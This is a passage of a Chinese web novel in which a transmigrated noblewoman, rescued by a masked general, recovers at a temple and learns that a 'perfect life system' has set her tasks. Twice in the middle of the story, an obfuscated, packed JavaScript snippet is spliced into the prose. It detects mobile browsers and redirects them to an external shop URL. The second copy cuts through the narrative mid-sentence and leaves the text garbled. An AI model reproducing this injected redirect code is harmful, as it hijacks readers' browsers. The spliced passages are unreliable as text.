她尝试动了动左腿,慢腾腾挪到了榻沿,才稍一用力,又痛得“嘶”地出声。 这伤肿的脚踝根本没法落地。 裴珠生性不爱服输,忍痛环顾四周,却不期然撞上奚将军那不知何时投来的目光。 ——可他旋即转开,仿佛只是无意一瞥。 也许是她的叫痛声太大,惊动了他吧。 这倒令裴珠灵光一闪,视线落到了他身侧竖立的那柄长剑上。 这剑长约三尺有余,墨色剑鞘看起来质料十分坚厚。 她打好腹稿,委婉开口,“不知……能否借将军长剑一用?” …… 不久,那道玄色身影便至塌边,立于她面前,遮蔽了大半篝火辉光。 如同先前递来烤鱼时那般,他默不作声调转手中长剑方向,将剑柄那头递给了自己—— 竟问也不问…… 她在心中本已预备好了数种说辞…… 用来应对他万一拒绝——“剑是剑客性命”,或是“剑乃剑客之妻”时的体面回复。 可他竟然不假思索就借给自己了! 果真是……奚将军,奚大侠,真豪杰,无需多言! 裴珠深吸口气,开始了她这近二十年里最艰难的征程…… 她双手握紧剑柄,浑身的力都拄在此处,颤巍巍终于起身,半挪半跳,极缓慢地往这木屋门口去。 奚将军仍旧周到,非但未问自己出木屋的缘由,更先行一步为她打开漏风的木门。 霎时间,山谷凛寒风雪就迎面扑来,冻得她浑身一哆嗦,左脚下意识落地,顿时疼得一个趔趄,幸而及时扶住门框,方才稳住身形。 余光里,竟见奚将军就在自己身侧一尺之外,正静默望她,不发一言。 裴珠扬脸冲他一笑。 “待会烦请奚将军,再替我开一次门。” 说罢又呼了口气,稳了稳心神,转身重又拄剑出门。 …… 她的身影在石阶上摇摇晃晃,每一步都踏得惊心动魄,随时都有摔落之险—— 而她身后,那道沉寂目光从未移开半分,面具青年的手欲伸又止,最后只得垂在身侧,紧攥成拳。 伫立原地,亦无法上前。 火光摇晃,照得屋舍门栏忽明忽暗,细看地面,竟见那儿不知何时落了张纸笺。 他俯身拾起,原是张签纸,上书—— “灵鹊衔春返旧枝,凝魂双照玉墀时,东风若问两生契,梅雪同参两不知。” …… 入夜之际,天光尚存几分清明,木屋似乎建在山谷高处,一侧溪水竟未结冰,仍听得潺潺流水声响。 裴珠不敢离木屋太远,亦实在走不太远,只是迟缓且费力地绕到屋侧,草草解决后,再拄着剑,一步步往回去。 回程竟比去时更难。 她试图踩着自己来时留下的脚印前行,但单足吃不住力,雪地湿滑,一时踉跄,便整个人失了平衡,左右摇晃起来。 裴珠本能地乱挥手臂,尝试重新站稳,可实在回天乏术,最后认命抱头,直挺挺朝雪地栽去。 电光石火间—— 一只手臂不知从何而来,倏地紧紧揽住她的腰,稳稳托住了她下坠的身形。 ! 裴珠愕然睁眼。 映入眼帘的是那张半覆面具的面庞,仍旧淡漠至极,并无笑意,但她竟然品出来了一些,诡异的天经地义。 ——仿佛他早已察觉,亦早有准备。 他足下轻挑,陷在雪中的长剑竟应声飞向半空,不偏不倚,落入他扬起的另一只手中。 而他的嗓音几乎是贴着耳畔响起,沉冽而清晰,一瞬间风雪反倒远去。 “得罪了。” 话音未落,裴珠只觉膝弯被另一只手臂托住,身体轻盈腾空,天旋地转间,她便落入了个温实怀抱之中。 扑通—— 扑通。 心跳……擂鼓般忽然加快…… 她不由自主抬手,触碰了下耳朵。 …… 那儿竟然……也有些发烫…… 怎、怎么回事? 裴珠你、你怎么这么没有定力! 思绪几近空白之际,她的目光不由自主地,向四周游移。 却见山溪一畔竟生了好几株野梅,枝干盘虬,一树繁花映雪而绽,沉沉暮色之中,亦灼灼可见。 裴珠脱口雀跃呼道,“那儿的梅花也都开了!” 耳畔忽又传来奚止的低低嗓音,裴珠听到他问,“你想去看看吗?” 嗯? 下一刻,在她毫无预料的瞬间里,只觉身子一轻,再度凌空而起。 只是与大半日前不同,那时她被被匪徒粗暴拎在半空中,凄惶恐惧。 此刻她窝在个极具安全感的怀抱里,丝毫不觉可怖,风声过耳,只余飞扬的欣喜。 眨眼间,那一树梅花已开在眼前—— 恰有一阵山风掠过,半树琼英翩跹纷飞,花落若雨,漂在流水之中,栖上她的衣裙发间,亦沾在了抱她那人的衣袖一角…… 恍若神牵,裴珠不由抬手,从他的衣袖上拈起了一片薄软花瓣,举至眼前,于这昏昧雪夜中凝神细看。 稍一抬眼,却蓦地撞见他低垂的目光,不知何时,他似乎早已垂首在望她。 面具遮面,夜色模糊了他的轮廓,更看不清他眼底的情绪。 山中万籁俱寂,反倒只听得胸腔下愈来愈响的搏动—— 怦然一声,是开花的声音。 …… 裴珠忽然想开口问,问她本不打算追问的那个问题—— 你既姓奚,那你的名字叫做什么? 9. 梦醒 “你的名——”字是…… 话音未落,她的脑海深处,陡然钻出来了一道近二十年都不曾听过的电子音—— “完美人生系统充电完毕,系统正常运行,开始进行更新……” “更新进度百分之一,预计需要八小时……” “请宿主耐心等待……” 几乎天雷作响,轰隆将裴珠炸得呆住。 下一秒,眼前竟然幻觉般地跃出了个数字与符号! ——裴珠上辈子无比熟悉,却太久未曾得见的阿拉伯数字和百分比! 半透明的灰白字体,就这样凭空浮在了她身侧,以这山谷夜幕为背景,现出了一个“1%”。 甚至1%后面,还跟了一个熟悉又陌生的转圈进度动画…… 怎么回事?! 难道她坠崖后其实身受重伤,神智错乱,出现了幻觉? 难道自醒来后种种—— 这破屋、篝火、烤鱼香气、乃至眼前正抱着她的这个人,都只是她弥留之际的南柯一梦吗? 她究竟置身何地? 今夕何夕? 前所未有的恐慌潮水般涌来,裴珠不由焦急拽紧身边人的衣袖,指尖因用力而逐渐发白…… 她颤抖指向悬浮进度数字的位置。 “你,你能看见这个吗?……” 奚将军似乎也被她这反常的神情惊到,立即朝她所指的方向望去。 “这里,有什么吗?” 裴珠的心沉沉坠了下去。 “究竟怎么回事?……” 她喃喃自语,“是我疯了吗?” …… 眼前缓而柔地陷入了昏暗…… 她的脑袋往一侧轻轻歪去,阖上了眼睛。 山夜之中她的面庞苍白若雪,唯见眉心一点清晰小痣,半空中缓缓落下片纤薄花瓣,恰巧落在她微启的唇畔之上。 裴珠就这样窝在了他的怀里,静悄悄睡着了。 他亦这样抱着她,缓步走回了木屋之中,动作极轻地,将她安放回了那张干草榻上。 昏黄篝火跃动,他静立在榻旁凝望半晌,才微微叹了口气。 “果真还是受了不少惊吓……” 他将自己的外衫解下,细致盖到她的身上,最后才轻柔将那片花瓣拾起,在掌心默然注视片刻,最终纳入了怀中。 “阿珠,睡一觉吧,醒来就好了……” …… “珠儿……” “珠儿……娘在这里……快醒醒……” 谁的声音,好熟悉…… 谁在叫她…… 裴珠的眼前是空茫朦胧的白,影影绰绰,有道低柔急切声音亦是忽远忽近…… 是娘亲…… 她费力掀动眼皮,慢慢睁开眼,娘亲那张写满担忧的憔悴脸庞便出现在眼前。 见裴珠睁眼,第一反应便就是猛地将她紧紧搂入怀中,声音哽咽。 “珠儿……你终于醒了!” 裴珠神思恍惚,一时分不清梦境与现实,“娘亲……我这是怎么了……” 我怎会在这里…… 分明刚刚还在崖下,雪夜梅香,还有那个沉默身影…… 莫非一切真的皆是梦境吗? 还有…… 对了!还有那幻觉般的数字! 她心下一惊,急忙环顾四周。 床榻边只见不知何时出现的锦雀锦莺锦鹃三人,皆是满面忧色,另一侧则立着位中年大夫,身后跟着背药箱的小童。 ——周遭并无任何异状,那浮于空中的灰白数字,已无踪影。 裴珠长吁了口气,心神方定,却听母亲急急转向大夫问,“劳烦先生再仔细瞧瞧,小女除却外伤,可还受了什么暗伤?……” 她起身为大夫让开位置,请他再为裴珠诊脉。 大夫只道万幸未伤筋骨,只是扭了经脉,气血瘀滞,方才已施针正位,往后每日敷上活血膏,好生将养便能痊愈,身上的擦伤亦需按时敷药,悉心照料,想必不会留疤。 娘亲闻言连声道谢,急命春佩取来丰厚诊金,又让刘嬷嬷亲自送大夫出门,才重在裴珠榻边坐下,再次将她紧搂入怀,嗓音犹颤。 “昨日刚听到你被……娘险些不能活了……” 昨日温玉堇在禅房休憩片刻后,便遣人去叫珠儿随她一道下山回府,谁知春佩回来后只道四爷禅房门紧锁,姑娘怕也不在里头。 随即就见一队将士抬了遍身是血的修竹,还有腿中一箭的锦雁回来。 锦雁哭得上气不接下气,“太太,姑娘她、她被匪徒掳走了!” 温玉堇脚下一软,近乎魂飞魄散。 而那曾有一面之缘的英国公竟忽然现身于此,劝慰说他已派人前去救援裴小姐,只是雪夜山险,路途难行,恐需晚些方能有所结果。 温玉堇强自敛衽一礼。 “有劳公爷……” 一屋人就这样点灯熬了一宿,直到天快亮时,外头的下人才跌跌撞撞冲进来,道姑娘找到了,正由英国公的部下护送回院中。 众人急急迎至院门。 只见一名高壮健妇小心抱着尚在昏睡的裴珠,一路稳当地送入内室榻上,一早请来的大夫把脉后,只道小姐应是受惊过度,昏睡过去了。 直到片刻前,终于醒来。 …… 裴珠垂眼望着自己被敷药裹上的左脚踝,长长呼出了口气,伸臂将娘亲环住,轻拍安慰。 “娘亲,不要担心害怕了,我这不是好好回来了嘛……” 说着她弯起嘴角笑,“大难不死,说明我必有后福呀!” 她忙又问,“修竹和锦雁呢?他们的伤可还好?” 温玉堇怜惜道,“锦雁那丫头的腿拔了箭上了药,大夫说未伤筋骨,只需好好休养一阵,倒是修竹那小子,胸前背后都是刀伤,伤势颇重,幸好我此行给你哥哥带了老参,倒正好先给他用上,救回了一条命……” 裴珠松了口气,“那太好了!” “这两个忠心护主的好孩子,我回府得好好赏他们!” “那是自然!” 母亲厚赏一份,她再加上一份,这两个受她连累的小苦瓜,只能用银子补偿些了。 她思忖片刻后,再环视一圈,忽然发现屋里少了个人,“哥哥呢,怎地不见他?” 她都受伤在床了,四哥不可能不来慰问她的吧? 温玉堇又叹道,“你哥哥昨日同友人上山赏雪,谁料下山时跌了一跤,也扭伤了脚,只得就近在友人院中歇了一晚,今早才回来……” “我见他行走不便,就让他先回房歇着了……” 正说话间,就见四哥拄着拐杖自门外蹒跚而入,温声问,“阿珠可醒了?” 温玉堇忙又要亲自扶他,“你这孩子,腿脚受伤了怎地还出来,不在屋中多歇息?” 裴洲连忙含笑解释,“实在心中记挂,我才要来看看阿珠伤势如何……” 温玉堇扶他在圈椅中坐下,目光来回看这同样带伤的一双儿女,不由叹气,“唉,早知会有此劫,我便拦着些,不叫你们来这……” 说到此,又收了声。 ——到底是在佛祖跟前,不能说这些大不敬的。 “若是,耽误了你春闱科考该如何是好?” 裴洲宽慰笑道,“母亲担忧得也未免过早,春闱尚有数月,那时我腿脚早便痊愈了……” 恰在此时,春佩领着锦雀等人捧着羹汤入内,一人在裴珠榻上支起小几,布好汤盏,扶她靠上软枕坐起用膳,另一人则在裴洲手边的案几上妥帖放下一碗,随即领着众人退至一旁,垂手静候。 温玉堇柔声道,“这是一早便炖上的补气养神汤,里头添了老参还有滇南来的文山三七粉,最是养血合伤,宁神定惊,你们俩都快趁热用一碗……” “这三七粉,还是今早锦雀她们得了消息,赶来寺中时捎来的,真是及时……” 裴珠目光越过母亲肩头,与四哥悄然对视一眼,忍不住抿唇偷笑。 不由想起儿时光景,那时四哥是多病之身,她一年倒只偶尔病上一两回,每逢两人都需服药时,母亲便总是这般温言哄劝。 素日寡言的娘亲,也唯有这种时候才会格外絮叨些。 待裴珠与裴洲各自饮罢药汤,温玉堇将这双儿女一并“训”了几句,又让刘嬷嬷亲自送裴洲回房去歇息,才在裴珠塌边坐下,轻抚几下她的后背,轻声问。 “可要再睡一会?” 裴珠轻轻摇首。 先前的昏沉已让她睡去了太久,久到山崖雪夜那些画面氤氲朦胧,如远去的前生,又似一场将醒未醒的残梦。 梦里那人她快看不清他的面容,唯余一道沉静的嗓音,与山雪溪畔那一树繁花,以及……落花纷飞间,他垂望她的那一双眼睛。 她踌躇片刻,终究还是问出了口,“娘亲,送我回来的人当中,有没有一位戴着面具的……将军?……” 娘亲一怔,忽又盯着她细细瞧了一会,才答,“没有,抱着你回来的是一位高壮的妇人,听闻她是国公爷麾下的女将,甚是英勇,身边跟随的是几位身着便装的仆从,不曾见过有谁蒙面……” “哦……” 他果然,做事收尾也这样滴水不漏—— 请女将大张旗鼓送她回来,这样便谁都不会猜到,昨夜在山中救她,山崖下与她共处一室的是位男子,这便丝毫无损她的名节声誉。 “这样很好……” 哎,明知这样的做法再对不过,不知怎地,裴珠心底竟隐约有些失落…… 她心底一愣。 自己这是在失落什么? 失落没来得及问他的名字吗? 温玉堇抬首扫视禅房一圈,此刻留在屋内的只有她心腹的春佩,还有女儿身边的三位大丫鬟,便低首轻问。 “昨日,是否就是这个将军救的你?” 裴珠清楚,奚将军不提他曾施以援手是为她考量,她却不愿对最亲近的母亲全然隐瞒,便大略说了她遭匪徒掳掠时,这位将军现身射杀匪徒,她不幸坠落山崖时,他一跃而下来救她,又带她去崖下木屋中歇息的事情。 之后的种种细节便就此隐去,不再详谈。 她怕愈描愈黑,反倒令娘亲误会。 但温玉堇何等心智,如何看不出裴珠面上隐隐的罕见小女儿情态,她按捺不言,只道。 “既如此,在给国公府备谢礼的时候也需专程另备一份厚礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780097|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,奚将军高义,施恩不图报,我们却不能因此失礼忘恩。” 裴珠这才欣喜笑了,又紧紧将娘亲环抱住,“多谢娘亲!” 不久,母亲叮嘱她好生歇息,便带着春佩离开了禅房,屋内一时只余下刚从府中赶来的三个大丫鬟。 锦鹃心直嘴快,双目放光,忙凑到榻前追问,“姑娘,救您的那位面具将军……生得俊不俊呀?” 锦雀伸手要捂她的嘴,轻斥道,“死妮子,姑娘才缓过神,你倒只顾打听这些!” 锦鹃却笑嘻嘻一躲,压低声说,“我这不是想着,若是一位英俊公子,与咱们姑娘站在一起,岂不正好相配?” 锦莺老实敦厚,一贯不插进她们斗嘴,只抿嘴在一旁笑,但显然也十分好奇。 裴珠故作沉思,最后只给一个字,“俊。” 锦鹃更好奇,“姑娘您亲眼见过他摘下面具的样子啦?” 见她只神秘摇了摇一根手指,锦鹃顿时失望,裴珠笑意更深。 ——这丫头懂什么,覆面系自有有覆面系的妙处。 半遮半掩,才最引人遐思呢! “那比起咱们四爷呢,谁更俊些?”锦雀另有追问。 裴珠失笑,“截然不同的两个人,怎能相比……” 四哥温润如春水,见之便似风和日暖,而那位奚将军却凛冽似寒刃,望之如雪覆千山。 分明是两种极致,各入各眼罢了。 她张口正要打趣,孰料恰在此刻,脑中再度响起了一道电子音。 十分熟悉—— “完美人生系统更新完毕,正式启动运行……” “客服零零玖登录中……” 裴珠的笑意与身体同步僵住,她长长呼了一口气,慢慢道,“你们三个先出去吧,我有些困了……” 三人道了声“是”,便一并退出了屋。 裴珠闭上眼睛,沉默数秒后,在心里发问,“喂,系统,能听见我说话吗?” “你到底是真的系统,还是我的幻觉?” 一声活泼得多的卡通音立刻跳了出来,十足热情洋溢。 “亲爱的宿主您好,我是您的专属客服零零玖,您是我作为完美人生系统的客服上任后的首位宿主,期待与您今后的美好合作。” “现在回答您的第一个提问,是的,现在与您对话的是真的完美人生系统,不是您的幻觉。” …… 还真有回复啊…… 难道……这真不是自己坠崖伤了脑袋后,出现的幻觉? 前世看的小说中的主人公,大都一穿越落地,脑子里便冒出个系统,再洋洋洒洒告诉她们接下来要做些什么…… ——到她这里,怎么胎穿后摸索前行近二十年了,才忽然迎来一个系统? 该不会,这个系统接下来就要给她发布什么鬼任务,逼她去做,不做就会各种电击惩罚吧? 客服零零玖仿佛已有应对腹稿,“亲爱的宿主,本系统存在的唯一目的,旨在辅助您拥有完美的幸福人生,将只会恰当的时刻,为您提供建议与帮助,绝不会以任何手段强迫您完成任何任务,请您放心……” 这声音越听越有些熟悉,像她前世喜欢的某个经典卡通人物,颇为亲切。 裴珠不由更为警惕。 ——全方位掌握了她的“大数据”的系统,似乎更可怕。 “那你存在于我大脑中,能听见我所有想法,我不就毫无隐私了?” 零零玖依旧开朗。 “现在是宿主您与我对话的时间,想法就是您的语言,但您不需要我上线的时候,系统默认休眠,不会听到您周边的声音,或看到您周边的画面的……” “好吧……” 姑且先相信它的说法。 ——毕竟,她其实拿这个家伙根本没有办法。 别说现在是身处古代,哪怕人还在现代,她也没法去医院开刀动手术,把这个虚无缥缈的系统给取出来。 “那你们这个系统究竟做什么用的?” 名字是“完美人生系统”,旨在达成完美幸福人生,幸福人生的感受多半相似,但完美这个定义,究竟按照什么标准衡量? “我们将通过完美人生评估程序为您进行评估,量身定制专属于您的完美人生目标……” 很快,零零玖热烈宣布它已开启该评估程序,自动输入了本时空时代背景、生产力水平、宿主个人素质、家庭背景等等相关信息。 一分钟后,在裴珠的眼前,凭空竖起了块全息大屏,上面是一份字体密密麻麻的评估结果报告。 第一行的结论是: 「根据所输入的本时空相关影响因素,分析得出,宿主裴珠的完美人生的终极目标,即成为本时代最尊贵的女性。」 「注:参考近一百年内的尊贵女性数据」 ? 下面还有四个大字—— 「太皇太后」 裴珠的嘴角抽了抽。 她一头倒回被窝,拽起被褥蒙住了脸,无语透顶。 竟然不仅仅是当上太后,还要至少熬走或者干掉两任皇帝,才能达成目标。 哈。 “那你干脆改名叫‘太皇太后升级系统’得了……” 10. 魂牵 “这是根据宿主所处时代前一百年内的实际情况,做出的合理判断……” “一百年内这个时空的女性曾获得的最高地位,将自动成为宿主的终极目标!” 零零玖的声音愈发高昂,显然对系统的评估逻辑颇为得意。 它甚至兴奋补充,“要是一百年内曾经有女皇登基,那宿主的终极目标就是成为新一代女皇——” “打住——” 如果零零玖有实体,裴珠此刻早已紧紧捂住它大放厥词的嘴巴。 人贵有自知之明,裴珠不认为自己能靠这个一听就不太靠谱的系统,从此就能轻松畅通争霸天下或者后宫升级副本。 武皇霸业,能轻而易举就效仿复现吗? 本朝皇帝或是未来新君的后宫,又哪一处不是龙潭虎穴? 两世为人,裴珠自认或许在经商上有几分头脑,但用去登基称帝或是位临太后,还是显得十分异想天开。 零零玖这才悻悻然,“其实,本系统的主线任务,也需要宿主主动触发才能开启的…… “在那之前只能选择性完成支线任务,每完成一项可获得相应奖励,完成数量累计到一定程度时,可达成支线任务成就,也有奖励……” 很快,裴珠面前便浮现出个小一些的长方形全息屏,画面中仅有三个图标,分别标为“主线任务”、“支线任务”还有“任务奖励”。 她尝试点击“主线任务”,果不其然,显示尚未开启,再点击支线任务,却刷地好一长条下来,直叫她看花了眼。 定睛细瞧,更是眼前一黑。 这些内容看似相似,仅有人名不同,但总的来说,唯有荒诞二字可以总结—— 「给皇帝关渊留下深刻印象」 「未完成」 「给二皇子关昼留下深刻印象」 「未完成」 「给三皇子关晟留下深刻印象」 「未完成」 嚯!皇家父子三人皆榜上有名。 大皇子看来没有被邀请。 再往下滑,什么太皇太后、荣贵妃、淑妃、英国公京营总督礼部尚书统统出现…… 真是神仙打架。 等滑到最后,更是离谱到家。 ——那儿赫然出现「给裴洲留下深刻印象」「未完成」这行字。 “怎么四哥你也在榜上啊?!” 你不会背着我偷偷氪金了吧! 这一溜名单中,不是天潢贵胄,就是肱骨重臣,她四哥既然也跻身其列,莫非是系统在暗示…… 四哥他,将来至少也是二品大员? 不错不错,靠山有望。 裴珠欣慰鼓掌。 只是,下一刻又不由愣住。 ——那是她未曾预料到的一个名字。 “奚……止……” 「给奚止留下深刻印象」 「未完成」 不曾见过听过,却几乎瞬间就能意识到是谁的这样一个名字。 原来……是你…… …… 裴珠将被衾拽上来遮住半张脸,沉默许久,才在心底问。 “零零玖,给人留下什么样的印象,才算得上是深刻呢……” 零零玖很高兴宿主终于对系统任务产生好奇,迅速为她解答。 “本系统定义,深刻印象,即大脑对特定信息进行处理后留下的持久记忆表征。” 持久记忆? …… 安神汤的药力似乎才徐徐漫上四肢百骸,裴珠拥着软枕,困意如潮水般将她淹没,坠入梦乡之前,她喃喃低问—— 对你而言,我想必也只是萍水相逢,转瞬即忘的陌生人吧? …… 梦里亦有一树梅花繁盛而开。 风过时落英纷然如雨,有人一身玄衣,面覆寒铁面具,踏过满阶香雪正朝她而来,他竟微微噙笑,低声唤她的名字…… …… “阿珠……” 案上依旧摊开了幅新画。 雪地长溪畔生有一树梅花,遮天蔽地,树下有一双男女,玄衣男子正将雪衣女子腾空抱起,她仰面望他,他亦垂首凝视,花瓣逐水而落,有一片恰好落在她的唇畔,而她莹莹笑着,犹胜花娇。 裴洲搁下笔,垂眸与画中人对望良久,又于袖中取出片半干的浅粉花瓣,夹入了一旁的书册之中。 “爷怎地又起身作画了……”修林提着食盒进屋,正在门口仔细扑净斗篷上的落雪。 “大夫也说让您多卧床修养……” 裴洲闻声抬眼,只拄着拐杖几步挪到桌边,修林见他这行走动作,手上摆膳动作不停,口中忍不住小声问。 “姑娘既已平安回来,太太也不曾疑心,爷又何必亲手扭伤自己……小人看着都觉得作疼……” 裴洲语气平淡,“几日就好的小伤而已。” 他伸筷夹菜进碗,又嘱咐修林一句,“在外不要说漏嘴。” 昨夜那样的情状,他作为一向疼爱妹妹的兄长,又能有何理由不在场,且还不惹人生疑。 ——自伤,不过是最简单易行的方法罢了。 “你哥哥醒了吗?” 提起兄长,修林眼圈一红,“早上还在发高热,现在有些退了,大夫说最早怕是也要等到今晚才能醒……” “除了送膳送水,其余时间你都去照看他吧,我这里不必管,要什么药就直接支取,无需吝惜。” 修林又险些落泪,“是。” 他将餐碟碗筷都收进食盒后,正要往外去时,又迟疑道,“昨日,您以奚将军的身份救了五姑娘,又共处一夜,谈话间她可有起疑心?” “若她起了疑心……爷是否已想好,该如何解释?” 虽说四爷变装成奚将军时又戴面具,又易容变声,与原本模样天差地别,但五姑娘与四爷自幼一道长大,熟悉到几乎不分你我,五姑娘又一向眼明心亮,她真的不曾察觉到任何端倪? 四爷却面沉如水,停顿良久后,才轻声道。 “没有。” “她不曾认出我。” …… 修林退出了禅房。 屋内静寂无声。 裴洲拄着拐杖起身,在房中环视一圈后,缓缓走向床畔那面镜子旁。 镜子素日反扣朝墙,他伸手将镜子转了过来,镜中顿映出了一张苍白疏冷面庞,稍稍泛青,微有病容—— 但那病色,其实亦出于他自己之手。 幼时他确实体弱多病,汤药不离口,但九岁时舅舅冒大不韪悄然返京,与他相认后不久,师父亦受舅舅所托入京,他一见自己便直言,若按照寻常大夫的治法,怕是他今后都只能喝药调养下去,做一世的病秧子。 因为这种治法仅能治标,未固其本。 唯有将这副躯壳练至极致,以内息调养根本,方能真正根治沉疴。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786077|190370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 唯一之道,就是随他习武。 他拜师后夏熬三伏冬练三九,未有一日停歇,待体内练出一缕精纯内息后,身子骨亦一天天转好,宿疾渐去,终于摆脱了药石之苦。 而后发觉,阿珠对他的态度,亦逐渐发生了变化。 ——阿珠的天地太大,娘亲排在他的前头,新开的妆粉铺子亦占据她大半心力,余下光阴还要出门与姐妹同游,品茗美食,醉心话本,能分予他这个兄长的时间,亦日渐稀薄。 幼时作为双胞兄妹,几乎形影不离,后各自年长,男女之防渐起,继两人一道迁出正院,各自分院别居,一旬之中至多能与阿珠见一两回,更是往往说上几句,她又道另有急事,起身离去。 作为兄长,他已再无任何借口,教阿珠为他多留片刻。 除非,他病了—— 阿珠她,自幼便极爱猫儿。 母亲本不愿她养,怕猫儿身上生的虱子跳到她身上,但经她日日软语央求,便亦默许了。 她后来便养了只叫做雪球的猫,那猫儿是雪天在府邸墙角被发现的,当时已奄奄一息,她抱回来又是一遍遍擦拭皮毛,拢在炉边取暖,又是亲自喂羊乳,好不容易才养活。自此去哪儿都要搂在怀中,睡觉时,更是塞在枕畔被窝一同入眠。 问她为何要给这瘦巴巴的猫儿取名叫做雪球,她道时人多给子女起贱名盼好养活,她却只想为这猫儿起个寄寓祝愿之名,盼它健康长大,滚圆如球。 ——既是在雪中拾得,便叫“雪球”了。 后来雪球果真愈发茁壮,日渐圆润,再看不出当初那瘦骨嶙峋模样,她逢人便得意洋洋,说是她的名字取的好。 怎会只有名字取的好? 她日日亲自精心照料,为猫儿研配专用食单,亲手缝制猫窝,一日三餐紧盯着喂,又寻人在院中为猫儿搭起她称作“猫爬架”之类的种种玩具,供它蹿跳嬉戏,便是寻常人家养孩子,也未必及得上她的用心。 有时,他发觉自己甚至会对雪球生出一丝妒忌。 妒忌它不费吹灰之力,就能得到阿珠的全部注视与温柔。 而他,却只能远望驻足。 不能再轻易靠近。 今岁入夏时,他自西北悄然返回颍州,恰收到她自京城寄来的信,信上说雪球已寿终正寝,她将其骨灰埋在院中梅树下,并立了一方小小墓碑。 另附了一张小画,画中是芙蕖院梅树下一块墓碑,上刻“爱猫雪球之墓,雪球妈咪裴珠立”,墓碑边上是一只懒洋洋趴卧的猫儿,圆溜溜一双大眼,正朝他笑。 画纸洇湿了一角。 是她的泪渍。 “哥哥,我再不会养猫了。” “雪球想必亦希望,我此生只养她一只猫。” ——她的信中如是说。 她对雪球倾注的无数心血与爱护,反而令雪球成为她眼中无可替代的唯一。 推及于人,似亦如此。 幼时她便总学母亲模样,像个小大人守在他身旁,软声劝他按时服药。 ——尽管他其实从未延误。 后来每逢冬日他旧疾加重,她更如她养的那只猫儿似地,寸步不离守在榻前,眼巴巴地那样望着他。 待见他略有好转,她便欢喜得在屋内转着圈雀跃欢呼,裙袂翩跹,宛若初展的蝶翼…… 于他心间振翅。 翩飞数年。 亦魂牵,梦萦。 11. 谢礼 裴珠一语成谶,这下真是相看未成,倒留在了隆兴寺修养。 只是修养没几日,就迎来些不速之客。 “……我平日如何教你的?女子当以贞静为本,你若老实呆在禅房抄经,不带着丫鬟四处游荡,怎会遭匪人劫持,落得坠崖断腿的下场?” “你母亲向来一味纵容着你,依我看,待伤愈后还该禁足三月,好教你长长记性!” “这般顽劣难驯,不修妇德,传扬出去日后如何许配人家……” 裴大老爷忽然现身隆兴寺,甫一进屋,脸色骤沉,还没装模作样说上两句体己话,就开始训斥。 裴珠缩在被褥中,照旧垂首翻了个白眼,才作有气无力道,“父亲,女儿只是扭伤脚踝,并未断腿……” “又有何区别!不还是……” 行吧。 他自有新的大道理要训,裴珠却懒得理他了,只微微合眼,头渐渐朝枕头边歪过去,假装安神药效上来,人变得昏沉,一句也不曾听见。 捱上半刻多钟,这才终于等到裴大老爷拂袖离去。 孰料装睡不成,她这禅院又有奇人大驾光临。 “五姐姐,听闻你和四哥哥在寺中都受了伤,暂没法回府,我心下担忧,便就随着爹爹一道来先来看看你们……” 只见裴玥鬟髻高绾,珠钗绢花堆叠生辉,解去斗篷后,更露出一身锦彩灿然的裙裳,立在这素净禅房之中,顿时亮堂无比,十分夺目。 哪儿像是来佛门探病,分明是要去哪家高门赴宴。 “多谢六妹妹关心,这风雪腊月,还劳你从府里赶来一趟……” 托她的福,裴珠也得以解惑。 裴大老爷此番上山,主要是为了携礼重谢英国公对她的救命之恩。 这就合理太多。 裴珠本还疑惑,这寒冬时节,裴大老爷对她那点稀薄父女之情,绝无可能支撑他出城上山来看望受伤的她。 无利不起早,他意在英国公呐。 裴玥才一落座,又命身后丫鬟捧出个小瓦罐,一派大方道,“这是我亲命小厨房熬的黄芪当归乌鸡汤,正合五姐姐现在温补服用……” 嗅着这浓郁诱人香气,裴珠目光一扫,注意到那食盒中还余有一罐。 莫非这是。 果然,裴玥寒暄几句后,便图穷匕见。 “听闻四哥哥上山也不小心摔伤了,想着到底兄妹一场,不好太厚此薄彼,也备了汤要去探望他……” 裴珠干笑,没再说什么阻拦之话,心里只顾着感叹——不愧是裴大老爷最疼爱的女儿,真是父女两人一脉相承,都拿她当上山的筏子呢! 眼见裴玥告辞,裴珠眼风一扫,最机灵的锦雀立即会意,跟了出去。 她卧在榻上,看一眼那厚厚绑着的伤脚,唉声摇首。 “问世间情为何物啊……” 让裴玥这样疯魔。 算了,她有伤在身,爱莫能助。 四哥,你自求多福吧。 锦鹃面带喜色过来,“老爷从府里带来了一堆谢礼,难得正在同太太隔壁厢房里说起了话呢……” 谢礼? 救命之恩,自当重谢。 府中送厚礼,她这里,是否应当也添上一份自己的心意呢。 只是,送些什么才好。 作为闺阁女子,太重太轻太亲昵都不合适。 她环视禅房一周,目光定在榻边刚收拢好的锦盒上,心间一动,便命人取来。 待轻启塔扣后,就见匣中整齐列着一排小瓷瓶,瓶中装的正是她平日在府里炙肉烤鱼用的香辛佐料粉。 奚将军既然行军时随身常备佐料,口味又与她颇为相似,那这份便携装调料锦匣,或能在他那儿派上用场。 她满意一笑,又让人取纸笔来,蘸墨便要落笔。 锦鹃不明所以,只顾掩口窃笑,“姑娘莫非是……要给那位奚将军写信?” 这下连最敦厚的锦莺也忍不住拉她的衣角,目露不赞同,“锦鹃,你再这样胡说,若是被太太知道了,怕是……” 锦鹃出口不过脑,闻言立即捂嘴讨饶。 而裴珠笔尖一顿,纸上无端多出一行新字。 「奚将军,亥正一刻,院中一叙,盼晤」 她板起脸。 